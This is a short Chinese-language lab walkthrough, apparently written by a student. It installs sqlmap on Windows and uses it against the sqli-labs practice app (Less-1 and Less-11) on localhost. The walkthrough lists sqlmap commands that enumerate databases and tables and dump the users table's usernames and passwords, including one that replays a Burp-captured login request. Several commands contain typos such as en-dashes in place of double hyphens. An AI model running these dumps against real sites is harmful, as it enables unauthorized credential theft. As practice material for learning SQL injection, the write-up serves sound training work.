windows下安装sqlmap，并且使用sqlmap对sqli less-1 和less-11进行扫描

Ⅰ.sqlmap安装：

• 在sqlmap.org网站中下载sqlmap压缩包，然后解压缩，同时下载安装python。

⑤将解压缩后的文件夹放在桌面上。

Ⅱ对less-1进行扫描

• 打开终端，输入

C:\Users\lili>pythonC:\Users\lili\Desktop\sqlmapproject-sqlmap-22e7b35/sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 –dbs

——爆数据库：共七个数据库

• 继续输入

C:\Users\lili>pythonC:\Users\lili\Desktop\sqlmapproject-sqlmap-22e7b35\sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security –tables

——爆security数据库中的表 ：共四个表

• 继续输入

C:\Users\lili>pythonC:\Users\lili\Desktop\sqlmapproject-sqlmap-22e7b35\sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C id,password,username --dump

——爆字段：

Ⅲ.对less-11进行扫描

• 打开火狐代理和burpsuite代理，对输入的username和password进行抓包，将抓到的包保存至文本文档中。

• 使用sqlmap打开该文本文档。

输入

C:\Users\lili>python C:\Users\lili\Desktop\sqlmapproject-sqlmap-22e7b35\sqlmap.py -r C:\Users\lili\Desktop\burpsuite-catch.txt  --dbs  ※（sqlmap路径后面加/sqlmap.py   --dbs 是两个-）

——爆数据库：

• -D security – tables

——爆表：

• -D security -T users - columns

——爆列：

• -D security -T users -C username，password – dump

——爆数据：